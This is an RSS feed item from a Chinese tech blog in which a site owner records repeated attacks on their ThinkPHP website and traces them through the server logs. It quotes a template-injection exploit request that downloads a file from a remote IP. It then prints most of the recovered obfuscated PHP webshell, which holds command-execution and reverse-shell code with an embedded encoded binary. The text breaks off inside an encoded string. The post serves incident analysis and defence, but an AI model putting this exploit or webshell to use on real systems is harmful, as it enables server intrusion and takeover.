<?xml version="1.0" encoding="utf-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><title>睿风信息</title><link>http://www.rf.sh.cn:80/</link><description>资料分享，技术研究</description><item><title>官网被攻击记录20191126</title><link>http://www.rf.sh.cn:80/post/4082.html</link><description>&lt;p&gt;这个月被攻击5次，每次都是主页被替换，有时候是添加index.html文件，有时候是直接把index.php文件内容替换为纯html内容，从浏览器打开网页基本看不出来，但是被加入了加密过的js代码；我10月份发现的原因是，一部分基于ThinkPHP框架中其他模块功能无法使用。&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;之前几次处理只是简单检查文件，把额外的文件删除，被替换的文件进行恢复，恢复之后短则2天，长则7天就会被重新替换。各种怀疑，是否有FTP漏洞，是否有账号泄露等。上个月因这个事情联系过阿里云，技术反馈是网址有漏洞被利用，一直没时间仔细检查。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;今天又被替换，忍无可忍。就仔细分析了日志，巧的是刚刚替换文件，就在根目录临时发现一个文件meijianxue.php，突然出现的，刚检查时还没有，看来碰巧了，于是立刻备份文件。再从日志追踪，发现一个奇怪的请求：&lt;/p&gt;&lt;pre class=&quot;brush:bash;toolbar:false&quot;&gt;110.4.47.181&amp;nbsp;-&amp;nbsp;-&amp;nbsp;[25/Nov/2019:11:40:08&amp;nbsp;+0800]&amp;nbsp;&amp;quot;GET&amp;nbsp;/?a=fetch&amp;amp;templateFile=public/index&amp;amp;prefix=%27%27&amp;amp;content=%3C?php%20copy(%27http://45.192.182.150/php/dd.txt%27,%27meijianxue.php%27);&amp;nbsp;HTTP/1.1&amp;quot;&amp;nbsp;200&amp;nbsp;20&amp;nbsp;&amp;quot;-&amp;quot;&amp;nbsp;&amp;quot;Mozilla/5.0&amp;nbsp;(Windows&amp;nbsp;NT&amp;nbsp;10.0;&amp;nbsp;WOW64;&amp;nbsp;rv:48.0)&amp;nbsp;Gecko/20100101&amp;nbsp;Firefox/48.0&amp;quot;&amp;nbsp;&amp;quot;XXXXXXXXXXXXX.my3w.com&amp;quot;&amp;nbsp;&amp;quot;text/html&amp;quot;&amp;nbsp;&amp;quot;/usr/home/XXXXXXXXXXXXX/htdocs/index.php&amp;quot;&amp;nbsp;456714&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;请求中出现了奇怪的IP45.192.182.150，再查一下发现那是一个南非约翰内斯堡的地址，显然是假的。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;再看这个文件，发现果然是一个黑客文件，使用str_rot13和pack进行了加密，看起来只有三十几行代码，但是其中一行加密数据有125829个字符，约125K，如下：&lt;/p&gt;&lt;pre class=&quot;brush:php;toolbar:false&quot;&gt;&amp;lt;?php

error_reporting(E_ERROR);

@ini_set(&amp;#39;display_errors&amp;#39;,&amp;#39;Off&amp;#39;);

@ini_set(&amp;#39;max_execution_time&amp;#39;,20000);

@ini_set(&amp;#39;memory_limit&amp;#39;,&amp;#39;256M&amp;#39;);

header(&amp;quot;content-Type:&amp;nbsp;text/html;&amp;nbsp;charset=utf-8&amp;quot;);

$password&amp;nbsp;=&amp;nbsp;&amp;quot;21232f297a57a5a743894a0e4a801fc3&amp;quot;;&amp;nbsp;//Viv,&amp;nbsp;bebegim..

define(&amp;#39;Viv,&amp;nbsp;bebegim.&amp;#39;,&amp;#39;Denzel-你的英雄&amp;#39;);&amp;nbsp;//&amp;nbsp;标题

function&amp;nbsp;s(){

	$str&amp;nbsp;=&amp;nbsp;&amp;quot;66756r6374696s6r20737472646972282473747229207o2072657475726r207374725s7265706p61636528617272617928275p5p272p272s2s272p27253237272p2725323227292p617272617928272s272p272s272p275p27272p272227292p63686s70282473747229293o207q0q0n66756r6374696s6r2063686o6770632824617272617929207o20666s72656163682824617272617920617320246o6579203q3r202476617229207o202461727261795o246o65795q203q2069735s6172726179282476617229203s2063686o677063282476617229203n207374726970736p61736865732824766172293o207q2072657475726r202461727261793o207q0q0n246q7966696p65203q20245s5345525645525o275343524950545s46494p454r414q45275q203s2073747264697228245s5345525645525o275343524950545s46494p454r414q45275q29203n20737472646972285s5s46494p455s5s293o0q0n246q7966696p65203q20737472706s7328246q7966696p652p276576616p28292729203s2061727261795s7368696674286578706p6s6465282728272p246q7966696p652929203n20246q7966696p653o0q0n646566696r65282754484953444952272p737472646972286469726r616q6528246q7966696p65292r272s2729293o0q0n646566696r652827524s4s54444952272p73747264697228737472747228246q7966696p652p61727261792873747264697228245s5345525645525o275048505s53454p46275q29203q3r20272729292r272s2729293o0q0n646566696r6528274558495354535s504850494r464s272p676574696r666s2829203s2074727565203n2066616p7365293o0q0n6966286765745s6q616769635s71756s7465735s677063282929207o20245s504s5354203q2063686o67706328245s504s5354293o207q0q0n69662866756r6374696s6r5s65786973747328276q7973716p5s636p6s7365272929207o2024697373716p203q20274q7953716p273o207q0q0n69662866756r6374696s6r5s65786973747328276q7373716p5s636p6s73652729292024697373716p202r3q2027202q204q7353716p273o0q0n69662866756r6374696s6r5s65786973747328276s63695s636p6s73652729292024697373716p202r3q2027202q204s7261636p65273o0q0n69662866756r6374696s6r5s65786973747328277379626173655s636p6s73652729292024697373716p202r3q2027202q20537942617365273o0q0n69662866756r6374696s6r5s657869737473282770675s636p6s73652729292024697373716p202r3q2027202q20506s737467726553716p273o0q0n2477696r203q20737562737472285048505s4s532p302p3329203q3q202757494r27203s2074727565203n2066616p73653o0q0n246q7367203q2056455253494s4r3o0q0n0q0n66756r6374696s6r2066696p6577282466696p656r616q652p2466696p65646174612p2466696p656q6s646529207o0q0n09696628282169735s7772697461626p65282466696p656r616q6529292026262066696p655s657869737473282466696p656r616q652929207o2063686q6s64282466696p656r616q652p30363636293o207q0q0n092468616r646p65203q20666s70656r282466696p656r616q652p2466696p656q6s6465293o0q0n09246o6579203q206670757473282468616r646p652p2466696p6564617461293o0q0n0966636p6s7365282468616r646p65293o0q0n0972657475726r20246o65793o0q0n7q0q0n0q0n66756r6374696s6r2066696p6572282466696p656r616q6529207o0q0n092468616r646p65203q20666s70656r282466696p656r616q652p277227293o0q0n092466696p6564617461203q206672656164282468616r646p652p66696p6573697n65282466696p656r616q6529293o0q0n0966636p6s7365282468616r646p65293o0q0n0972657475726r202466696p65646174613o0q0n7q0q0n0q0n66756r6374696s6r2066696p6575282466696p656r616q65612p2466696p656r616q656229207o0q0n09246o6579203q206q6s76655s75706p6s616465645s66696p65282466696p656r616q65612p2466696p656r616q656229203s2074727565203n2066616p73653o0q0n0969662821246o657929207o20246o6579203q20636s7079282466696p656r616q65612p2466696p656r616q656229203s2074727565203n2066616p73653o207q0q0n0972657475726r20246o65793o0q0n7q0q0n0q0n66756r6374696s6r2066696p6564282466696p656r616q6529207o0q0n096966282166696p655s657869737473282466696p656r616q6529292072657475726r2066616p73653o0q0n096s625s656r645s636p65616r28293o0q0n09246r616q65203q20626173656r616q65282466696p656r616q65293o0q0n09246172726179203q206578706p6s646528272r272p246r616q65293o0q0n096865616465722827436s6r74656r742q747970653n206170706p69636174696s6r2s782q272r61727261795s706s702824617272617929293o0q0n096865616465722827436s6r74656r742q446973706s736974696s6r3n206174746163686q656r743o2066696p656r616q653q272r246r616q65293o0q0n096865616465722827436s6r74656r742q4p656r6774683n20272r66696p6573697n65282466696p656r616q6529293o0q0n09407265616466696p65282466696p656r616q65293o0q0n09657869743o0q0n7q0q0n0q0n66756r6374696s6r2073686s77646972282464697229207o0q0n0924646972203q2073747264697228246469722r272s27293o0q0n09696628282468616r646p65203q20406s70656r64697228246469722929203q3q204r554p4p292072657475726r2066616p73653o0q0n09246172726179203q20617272617928293o0q0n097768696p652866616p736520213q3q2028246r616q65203q2072656164646972282468616r646p65292929207o0q0n0909696628246r616q65203q3q20272r27207p7p20246r616q65203q3q20272r2r272920636s6r74696r75653o0q0n09092470617468203q20246469722r246r616q653o0q0n0909246r616q65203q20737472747228246r616q652p617272617928275p2727203q3r2027253237272p272227203q3r20272532322729293o0q0n090969662869735s6469722824706174682929207o202461727261795o27646972275q5o24706174685q203q20246r616q653o207q0q0n0909656p7365207o202461727261795o2766696p65275q5o24706174685q203q20246r616q653o207q0q0n097q0q0n09636p6s7365646972282468616r646p65293o0q0n0972657475726r202461727261793o0q0n7q0q0n0q0n66756r6374696s6r2064656p74726565282464697229207o0q0n092468616r646p65203q20406s70656r6469722824646972293o0q0n097768696p652866616p736520213q3q2028246r616q65203q204072656164646972282468616r646p65292929207o0q0n0909696628246r616q65203q3q20272r27207p7p20246r616q65203q3q20272r2r272920636s6r74696r75653o0q0n09092470617468203q20246469722r246r616q653o0q0n09094063686q6s642824706174682p30373737293o0q0n090969662869735s6469722824706174682929207o2064656p747265652824706174682r272s27293o207q0q0n0909656p7365207o2040756r6p696r6o282470617468293o207q0q0n097q0q0n0940636p6s7365646972282468616r646p65293o0q0n0972657475726r2040726q6469722824646972293o0q0n7q0q0n0q0n66756r6374696s6r2073697n652824627974657329207o0q0n09696628246279746573203p2031303234292072657475726r202462797465732r272042273o0q0n09246172726179203q206172726179282742272p274o272p274q272p2747272p275427293o0q0n0924666p6s6s72203q20666p6s6s72286p6s672824627974657329202s206p6s67283130323429293o0q0n0972657475726r20737072696r74662827252r326620272r2461727261795o24666p6s6s725q2p282462797465732s706s7728313032342p666p6s6s722824666p6s6s72292929293o0q0n7q0q0n0q0n66756r6374696s6r2066696r64282461727261792p24737472696r6729207o0q0n09666s72656163682824617272617920617320246o657929207o20696628737472697374722824737472696r672p246o657929292072657475726r20747275653o207q0q0n0972657475726r2066616p73653o0q0n7q0q0n0q0n66756r6374696s6r207363616r66696p6528246469722p246o65792p24696r632p246669742p247479652p246368722p2472616r2p246r6s7729207o0q0n09696628282468616r646p65203q20406s70656r64697228246469722929203q3q204r554p4p292072657475726r2066616p73653o0q0n097768696p652866616p736520213q3q2028246r616q65203q2072656164646972282468616r646p65292929207o0q0n0909696628246r616q65203q3q20272r27207p7p20246r616q65203q3q20272r2r272920636s6r74696r75653o0q0n09092470617468203q20246469722r246r616q653o0q0n090969662869735s6469722824706174682929207o206966282466697420262620696r5s617272617928246r616q652p24666974292920636s6r74696r75653o206966282472616r203q3q20302026262069735s7265616461626p652824706174682929207363616r66696p652824706174682r272s272p246o65792p24696r632p246669742p247479652p246368722p2472616r2p246r6s77293o207q0q0n0909656p7365207o0q0n09090969662824696r6320262620282166696r642824696r632p246r616q6529292920636s6r74696r75653o0q0n09090924636s6465203q2024747965203s2066696p657228247061746829203n20246r616q653o0q0n0909092466696r64203q2024636872203s20737472697374722824636s64652p246o657929203n2028737472706s732873697n652866696p6573697n6528247061746829292p274q2729203s2066616p7365203n2028737472706s732824636s64652p246o657929203r202q3129293o0q0n0909096966282466696r6429207o0q0n090909092466696p65203q2073747274722824706174682p617272617928246r6s77203q3r2027272p275p2727203q3r2027253237272p272227203q3r20272532322729293o0q0n090909096563686s20273p6120687265663q226n6176617363726970743n676s285p27656469746s725p272p5p27272r2466696p652r275p27293o223rr7op96r8or913p2s613r20272r24706174682r273p62723r273o0q0n09090909666p75736828293o206s625s666p75736828293o0q0n0909097q0q0n090909756r7365742824636s6465293o0q0n09097q0q0n097q0q0n09636p6s7365646972282468616r646p65293o0q0n0972657475726r20747275653o0q0n7q0q0n0q0n66756r6374696s6r20616r7469766972757328246469722p246578732p246q6174636865732p246r6s7729207o0q0n09696628282468616r646p65203q20406s70656r64697228246469722929203q3q204r554p4p292072657475726r2066616p73653o0q0n097768696p652866616p736520213q3q2028246r616q65203q2072656164646972282468616r646p65292929207o0q0n0909696628246r616q65203q3q20272r27207p7p20246r616q65203q3q20272r2r272920636s6r74696r75653o0q0n09092470617468203q20246469722r246r616q653o0q0n090969662869735s6469722824706174682929207o2069662869735s7265616461626p65282470617468292920616r746976697275732824706174682r272s272p246578732p246q6174636865732p246r6s77293o207q0q0n0909656p7365207o0q0n0909092469736o696p6p203q204r554p4p3o0q0n090909666s7265616368282465787320617320246o6579203q3r2024657829207o2069662866696r64286578706p6s646528277p272p246578292p246r616q652929207o202469736o696p6p203q20246o65793o20627265616o3o207q207q0q0n090909696628737472706s732873697n652866696p6573697n6528247061746829292p274q27292920636s6r74696r75653o0q0n0909096966282469736o696p6p29207o0q0n0909090924636s6465203q2066696p6572282470617468293o0q0n09090909666s726561636828246q6174636865735o2469736o696p6p5q20617320246q617463686529207o0q0n0909090909246172726179203q20617272617928293o0q0n0909090909707265675s6q6174636828246q61746368652p24636s64652p246172726179293o0q0n0909090909696628737472706s73282461727261795o305q2p2724746869732q3r2729207p7p20737472706s73282461727261795o305q2p275o24766172735o27292920636s6r74696r75653o0q0n0909090909246p656r203q207374726p656r282461727261795o305q293o0q0n0909090909696628246p656r203r203620262620246p656r203p2032303029207o0q0n0909090909092466696p65203q2073747274722824706174682p617272617928246r6s77203q3r2027272p275p2727203q3r2027253237272p272227203q3r20272532322729293o0q0n0909090909096563686s2027r789o9r5or81203p696r70757420747970653q2274657874222076616p75653q22272r68746q6p7370656369616p6368617273282461727261795o305q292r27223r203p6120687265663q226n6176617363726970743n676s285p27656469746s725p272p5p27272r2466696p652r275p27293o223rr7op96r8or913p2s613r20272r24706174682r273p62723r273o0q0n090909090909666p75736828293o206s625s666p75736828293o20627265616o3o0q0n09090909097q0q0n090909097q0q0n09090909756r7365742824636s64652p246172726179293o0q0n0909097q0q0n09097q0q0n097q0q0n09636p6s7365646972282468616r646p65293o0q0n0972657475726r20747275653o0q0n7q0q0n0q0n66756r6374696s6r20636s6q6q616r642824636q642p246377642p24636s6q203q2066616p736529207o0q0n0924697377696r203q20737562737472285048505s4s532p302p3329203q3q202757494r27203s2074727565203n2066616p73653o2024726573203q20246q7367203q2027273o0q0n0969662824637764203q3q2027636s6q27207p7p2024636s6q29207o0q0n090969662824697377696r20262620636p6173735s6578697374732827434s4q272929207o0q0n0909092477736372697074203q206r657720434s4q2827577363726970742r5368656p6p27293o0q0n0909092465786563203q2024777363726970742q3r657865632827633n5p5p77696r646s77735p5p73797374656q33325p5p636q642r657865202s6320272r24636q64293o0q0n090909247374646s7574203q2024657865632q3r5374644s757428293o0q0n09090924726573203q20247374646s75742q3r52656164416p6p28293o0q0n090909246q7367203q2027577363726970742r5368656p6p273o0q0n09097q0q0n097q20656p7365207o0q0n090963686469722824637764293o2024637764203q2067657463776428293o0q0n090969662866756r6374696s6r5s657869737473282765786563272929207o204065786563202824636q642p24726573293o2024726573203q206n6s696r28225p6r222p24726573293o20246q7367203q202765786563273o207q0q0n0909656p736569662866756r6374696s6r5s65786973747328277368656p6p5s65786563272929207o2024726573203q20407368656p6p5s65786563202824636q64293o20246q7367203q20277368656p6p5s65786563273o207q0q0n0909656p736569662866756r6374696s6r5s657869737473282773797374656q272929207o206s625s737461727428293o204073797374656q202824636q64293o2024726573203q206s625s6765745s636s6r74656r747328293o206s625s656r645s636p65616r28293o20246q7367203q202773797374656q273o207q0q0n0909656p736569662866756r6374696s6r5s65786973747328277061737374687275272929207o206s625s737461727428293o20407061737374687275202824636q64293o2024726573203q206s625s6765745s636s6r74656r747328293o206s625s656r645s636p65616r28293o20246q7367203q20277061737374687275273o207q0q0n0909656p736569662866756r6374696s6r5s6578697374732827706s70656r272929207o20246670203q2040706s70656r202824636q642p277227293o2069662824667029207o207768696p65282166656s66282466702929207o2024726573202r3q206672656164282466702p31303234293o207q207q204070636p6s736528246670293o20246q7367203q2027706s70656r273o207q0q0n0909656p736569662866756r6374696s6r5s657869737473282770726s635s6s70656r272929207o0q0n09090924656r76203q2024697377696r203s20617272617928277061746827203q3r2027633n5p5p77696r646s77735p5p73797374656q33322729203n20617272617928277061746827203q3r20272s62696r3n2s7573722s62696r3n2s7573722s6p6s63616p2s62696r3n2s7573722s6p6s63616p2s7362696r3n2s7573722s7362696r27293o0q0n09090924646573203q2061727261792830203q3r206172726179282270697065222p227222292p31203q3r206172726179282270697065222p227722292p32203q3r206172726179282270697065222p22772229293o0q0n0909092470726s63657373203q204070726s635s6s70656r202824636q642p246465732p2470697065732p246377642p24656r76293o0q0n09090969662869735s7265736s75726365282470726s636573732929207o20667772697465282470697065735o305q2p24636q64293o2066636p6s7365282470697065735o305q293o2024726573202r3q2073747265616q5s6765745s636s6r74656r7473282470697065735o315q293o2066636p6s7365282470697065735o315q293o2024726573202r3q2073747265616q5s6765745s636s6r74656r7473282470697065735o325q293o2066636p6s7365282470697065735o325q293o207q0q0n0909094070726s635s636p6s7365282470726s63657373293o0q0n090909246q7367203q202770726s635s6s70656r273o0q0n09097q0q0n097q0q0n09246q7367203q2024726573203q3q202727203s20273p68313r4r554p4p3p2s68313r27203n20273p68323rr588n9r794n8272r246q73672r27r689n7r8n18pr68890r58n9s3p2s68323r273o0q0n0972657475726r206172726179282772657327203q3r20247265732p276q736727203q3r20246q7367293o0q0n7q0q0n0q0n66756r6374696s6r206261636o7368656p6p282469702p24706s72742p246469722p247479706529207o0q0n09246o6579203q2066616p73653o0q0n0924635s62696r203q20276630564q5267454241514141414141414141414141414941417741424141414159495145434451414141436o43674141414141414144514149414148414367414841415n4141594141414130414141414r4941454344534142416n674141414134414141414155414141414541414141417741414142514241414155675151494649454543424q41414141544141414142414141414145414141414241414141414141414141434142416741674151496p416341414n51484141414641414141414241414141454141414355427741416p4n6345434n535842416767415141414o41454141415941414141414541414141674141414o67484141436s6p775149714n6345434q67414141444941414141426741414141514141414145414141414o414541414369424241676s6751514949414141414341414141414541414141424141414146486p644751414141414141414141414141414141414141414141414141414141594141414145414141414p327870596939735n433173615735316543357n627934794141414541414141454141414141454141414248546p55414141414141414941414141474141414143514141414149414141414r4141414141514141414155414141414149414167414141414141304141414374532o5041414141414141414141414141414141414141414141454541414141414141414164674141414249414141424n414141414141414141486o42414141534141414141514141414141414141414141414141494141414146554141414141414141416367454141424941414142714141414141414141414n384241414153414141414r514141414141414141425n4151414145674141414473414141414141414141446741414142494141414170414141414141414141447741414141534141414155414141414141414141413941414141456741414146384141414141414141414o774141414249414141426o41414141414141414147384141414153414141414q4141414141414141414430414141414567414141426s4141414234687751494241414141424541446741415831396r6257397558334r3059584n305831384162476p695979357n627934324146394n5431397n64475270626p39316332566o41484r765932746p6441426p65476p30414756345n574r73414768306232357n41474r76626q356p593351415n47466p6257397541475231634449416157356p644639685n4752794147463062326o4159327876633255415831397361574n6n58334r3059584n3058323168615734415230784n516o4r664q6934774141414141674143414141414167414341414941416741434141494141674143414149414151414141414541415141514141414145414141414141414141415161576o4r41414143414877414141414141414141634n674543415944414143416q41514942774541414953594241674841674141694n6745434163444141434q6q41514942775141414n435942416748425141416p4n674543416347414143596q41514942776341414n795942416748434141416s4n67454341634n4141436o6q41514942776s41414o69594241674843774141724n67454341634q414142566965574437416n6s42514541414s694q41514141364o63444141444n7777442s4r58695942416n2s4n58795942416741414141412s7957416q415149614141414141447034502s2s2s2s386p684n674543476749414141413664442s2s2s2s2s4n5969594241686s45414141414s6r412s2s2s2s2s79574q6q415149614267414141447073502s2s2s2s386p6o4n674543476767414141413661442s2s2s2s2s4n5n53594241686s4o414141414s6q512s2s2s2s2s7957596q415149614441414141447067502s2s2s2s386p6r4n674543476734414141413658442s2s2s2s2s4n6143594241686s51414141414s6p672s2s2s2s2s79576o6q415149614567414141447055502s2s2s2s386p714n674543476851414141413655442s2s2s2s2s4n6179594241686s57414141414s6o772s2s2s2s4141414141444874586s6r68672o547755465253614p43474241686s77495945434646576144534642416n6s572s2s2s2s2s53516o46574n35564s443741546s4141414141467542772o51544141434p6o2s7n2s2s2s2o46306r51463642622s2s2s395957386r446o4n43516o4n435156596r6p5534507342494139754n674543414231503769676p7751494p5n795842416n422o414o4r57502o68744n674543446r4464682o4r7443594141414141673841426s37535942416n2s464957636p7751496s625359424167357733666s786757346q4151494159504542467464773431304n67434r764363414141414156596r6p672o77496s615358424169467748515375414141414143467748514n7877516o704n634543502s5179634s516n55776o4249506o385039782s46574n355664545559507350496r4p7830516o4241414141414448424351424141414136452s2o2s2s396q783058674167434p517753447741694p41496o454n4s69352s762s2s443766416951516o3648372o2s2s396q6955586969304q45673841456977434n4243546s4s76372s2s346p4635497444424950414249734175662s2s2s2s2o4n52644334414141414150794p66644479726s6r493939434r55502o4p517753447741694p414p6r2s2s2s2s2s6955584q75414141414144386933334q3871364n79506651672o67426n5151436n56414269304q45673841456977434n782s794n3062674141414141383672485243514942674141414q64454n415142414141417877516o41674141414s6n392s662s2s695558776n5558677830516o434241414141434n52435145693058776951516o364844392s2s2o4677486o4q7877516o41414141414s67512s762s2s7830516o424141414141434p5266434n4243546s7n66332s2s3864454n41514241414141693058776951516o364p72392s2s2s4852435145416741414149744638496o454n4s696r2s662s2s7830516o43414141414144485243514567496345434q63454n49614842416n6s572s332s2s34744638496o454n4s69672s662s2s6738513857567466585931682s4q4s516o4n43516o4n43516o4n425669655664773431304n67434r764363414141414156596r6p56315n54364634414141434277366o524141434437427n6s6q2s7n2s2s34324449502s2s2s346p463849324449502s2s2s796p46384q463938414o4p56664346306r51724q662o4n786s323241414141414974464549504841596p454n41694p5251794n52435145693055496951516o2s78614478675135666642313334504548467465583133446978776o773543516o46574n35564s376p4n634543495073424o47556p775149672s6n2s644179443677542s30497344672s6n2s646653447841526258634r5669655654672o7745364141414141426267634q5145514141364544392s2s395n57386r4441774141414145414167414141414141633267674p576o414p324n706269397n61414141414141414141442s2s2s2s2s4141414141502s2s2s2s3841414141414141414141414541414141514141414144414141414853444241674r41414141574963454350582o2s32394967515149425141414145694342416747414141416149454543416s414141434741414141437741414142414141414156414141414141414141414q41414142306q4151494167414141474141414141554141414145514141414263414141415567775149455141414141794442416753414141414341414141424q4141414149414141412s762s2s622o794342416n2s2s2s3976415141414150442s2s322s4s676751494141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414o6958424167414141414141414141414o4o444241697967775149776s4q45434r4o4442416n6967775149386s4q4543414o454241675368415149496s514543444o454241684368415149556s5145434141414141414152304r444s69416s523035564o5341304p6n45754q6941794q4441344q4463774r43416s556q566o49456868644341304p6n45754q6930304r696o4141456444517n6s674o45644s56536o674r4334784p6n49674q6n41774s4441334q4451674o464n6p5n434249595851674r4334784p6n49744r4459704141424851304q3649436848546p5570494451754q533479494449774q4467774r7n4130494368535n57516753474630494451754q5334794p5451344o51414152304r444s69416s523035564o5341304p6n45754q6941794q4441344q4463774r43416s556q566o49456868644341304p6n45754q6930304s436o4141456444517n6s674o45644s56536o674r4334784p6n49674q6n41774s4441334q4451674o464n6p5n434249595851674r4334784p6n49744r4467704141424851304q3649436848546p5570494451754q533479494449774q4467774r7n4130494368535n57516753474630494451754q5334794p5451324o5141414p6r4r35625852685967417563335279644746694143357n61484r30636r526859674175615735305n584n77414335756233526p4p6o464353533130595763414p6q64756453356s59584r6s4143356o6557357n655730414p6q5235626r4r30636741755n3235314p6r5n6p636r4r70623234414p6q6475645335325n584n7n61573975583349414p6r4n6p6243356o655734414p6r4n6p62433577624851414p6q6p75615851414p6r526p654851414p6q5n70626q6o414p6r4n765n474630595141755n5768665n6r4n68625755414p6q4r3062334n7n4143356o6447397963774175616q4r794143356o6557356862576p6n4143356r623351414p6q647664433577624851414p6q5268644745414p6q4n7n6377417559323974625756756441414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414273414141414241414141416741414142534242416755415141414577414141414141414141414141414141514141414141414141416n4141414142774141414149414141416s675151494o414541414341414141414141414141414141414141514141414141414141414q5141414150622s2s32384341414141534945454345674241414167414141414241414141414141414141454141414142414141414473414141414p4141414141674141414769424241686s4151414134414141414155414141414241414141424141414142414141414244414141414177414141414941414142496767514953414941414959414141414141414141414141414141454141414141414141415377414141502s2s2s323843414141417n6s4945434q344341414163414141414241414141414141414141434141414141674141414667414141442o2s2s397641674141414s794342416n73416741414941414141415541414141424141414142414141414141414141426r4141414143514141414149414141414q6777514944414q41414167414141414541414141414141414141514141414149414141416341414141416o41414141434141414146494q45434251444141426741414141424141414141734141414145414141414341414141486o41414141424141414142674141414853444241683041774141467741414141414141414141414141414241414141414141414142304141414141514141414159414141434q677751496n414q41414r414141414141414141414141414141415141414141454141414166774141414145414141414741414141594951454347414541414434416741414141414141414141414141514141414141414141414955414141414241414141426741414146694842416859427741414841414141414141414141414141414142414141414141414141434p41414141415141414141494141414230687751496441634141426s414141414141414141414141414141514141414141414141416o7741414141454141414143414141416o496345434n414841414145414141414141414141414141414141454141414141414141414n3041414141424141414141774141414n535842416955427741414341414141414141414141414141414142414141414141414141436o414141414151414141414q41414143636p7751496r4163414141674141414141414141414141414141415141414141414141414171774141414145414141414441414141704n6345434o514841414145414141414141414141414141414141454141414141414141414p4141414141474141414141774141414o69584241696s4277414179414141414155414141414141414141424141414141674141414335414141414151414141414q41414142776q415149634167414141514141414141414141414141414141415141414141454141414176674141414145414141414441414141644n67454348514941414138414141414141414141414141414141454141414142414141414q6341414141424141414141774141414p435942416977434141414241414141414141414141414141414142414141414141414141444r414141414341414141414q41414143306q41514974416741414167414141414141414141414141414141514141414141414141413067414141414541414141414141414141414141414p5149414141554151414141414141414141414141414241414141414141414142454141414144414141414141414141414141414144494351414132774141414141414141414141414141415141414141414141414142414141414167414141414141414141414141414142413841414r414541414162414141414q4141414141514141414151414141414351414141414q41414141414141414141414141414r515441414431416741414141414141414141414141424141414141414141414141414141414141414141414141414141414141414141414141414649454543414141414141444141454141414141414369424241674141414141417741434141414141414249675151494141414141414q414177414141414141614945454341414141414144414151414141414141456943424167414141414141774146414141414141444s676751494141414141414q4142674141414141413749494543414141414141444141634141414141414179444241674141414141417741494141414141414155677751494141414141414q41435141414141414164494q45434141414141414441416s41414141414149794442416741414141414177414p4141414141414267684151494141414141414q41444141414141414157496345434141414141414441413041414141414148534842416741414141414177414s4141414141414351687751494141414141414q4144774141414141416p4n634543414141414141444142414141414141414n7958424167414141414141774152414141414141436o6p7751494141414141414q414567414141414141714n6345434141414141414441424q41414141414148435942416741414141414177415541414141414142306q4151494141414141414q414651414141414141734n674543414141414141444142594141414141414p53594241674141414141417741584141414141414141414141414141414141414q4147414142414141416849514543414141414141434141774145514141414141414141414141414141424144782s787741414143556p775149414141414141454145414171414141416r4n63454341414141414142414245414s414141414o535842416741414141414151415341455541414143306q41514942414141414145414677425441414141754n674543414541414141424142634159674141414p434542416741414141414167414q414867414141415168515149414141414141494144414152414141414141414141414141414141454150482s68414141414n6958424167414141414141514151414n4541414143516877514941414141414145414477436641414141704n6345434141414141414241424941717741414144434842416741414141414167414q414q45414141414141414141414141414141514138662s47414141416p4n634543414141414141414168414133414141414n5358424167414141414141414951414s3041414142306q415149414141414141454346514144415141416p4n634543414141414141414168414146774541414n535842416741414141414141495141436s42414143556p775149414141414141414345414137415141416p4n634543414141414141414168414154674541414o695842416741414141414151495441466342414143776q4151494141414141434141466742694151414141414141414859414141415341414141645145414141414141414235415141414567414141496342414143776867514942514141414249414441435841514141594951454341414141414153414177416r67454141414141414141414141414149414141414o304241414141414141414141414141434141414144424151414164496345434151414141415241413441794145414146694842416741414141414567414r414q3442414141414141414163674541414249414141446n4151414141414141414n3842414141534141414141414941414141414141425n415141414567414141424543414141414141414144674141414249414141416941674141654963454341514141414152414134414q514941414p43594241674141414141454141574144344341414141414141415041414141424941414142514167414141414141414430414141415341414141594149414148794842416741414141414551494s41473043414143676p775149414141414142454345514236416741417749594543476o4141414153414177416967494141414141414141724141414145674141414n6s43414141414141414162774141414249414141437241674141744n674543414141414141514150482s74774941414p79594241674141414141454144782s377743414143306q415149414141414142414138662s4441674141414141414150514141414153414141413077494141436q4842416741414141414567494q414s6s4341414130685151496377454141424941444144764167414164494q45434141414141415341416s4141474r68624778665n323176626p397n644746796441426n636r527n6448566q5n69356n4146396651315250556p394q53564r555831384158313945564539535830784n553152665877426658307044556p394q53564r55583138415n485276636p39705n4867754r5463354q77426n62323177624756305n5751754r5463354q514266583252765832647362324n686246396o6447397963313968645867415n6r4n68625756665n48567462586o4158313944564539535830564s5246396641463966526p4n425455566652553545583138415831394o51314n6652553545583138415831396o6231396r624739695957786659335276636r4r665958563441474n6n4p6q4q4158313977636q5670626q6p3058324679636q463558334r3059584n30414639665n6q6p7561563968636r4n686556396p626q51415830644q54304n4254463950526o5n545256526656454643544556664146396663484n6p6157357064463968636r4n686556396p626q51415831396q6157357058324679636q463558334r3059584n30414639666157357064463968636r4n686556396p626q514158313970626q6p3058324679636q463558334r3059584n30414639455755354254556p44414752686447466663335268636r514159323975626q566n644542415230784n516o4r664q693477414752685n573176626o42415230784n516o4r664q6934774146396662476p695931396n633356665n6q6p756151426663335268636r51415831396r6257397558334r3059584n30583138415830703258314n6p5n326p7n644756795132786863334r6p637742665n6r42666148634158325n70626q6o416157356p644639685n4752795145424854456p43513138794p6n41415831397361574n6n58334r3059584n3058323168615735415145644q53554n44587n49754q41426p6547566n624542415230784n516o4r664q693477414768306232357n5145424854456p43513138794p6n414158306p5058334r305n476p755833567n5n5751415831396o5958526858334r3059584n3041484r765932746p644542415230784n516o4r664q6934774147523163444n415145644q53554n44587n49754q4142665832527n6231396s5957356o6247554158313945564539535830564s524639664146396662476p695931396n633356666157357064414268644739705145424854456p43513138794p6n414159327876633256415145644q53554n44587n49754q41426658324n7n6331397n64474679644142665n57356o4146396p5n4746305951426p65476p305145424854456p43513138794p6n4141583139704r6n67324p6q646p644639775931393061485675617935696541427459576p7541463970626q6p3041413q3q273o0q0n0973776974636828247479706529207o0q0n0909636173652022706p22203n200q0n0909247368656p6p203q20274979457664584r794p324n70626939775n584n734943313344516s6n4941304o64584r6p49484r30636q6p6n6444734r436r567n5n53425462324r725n5851374451703163325567535538364s6o68686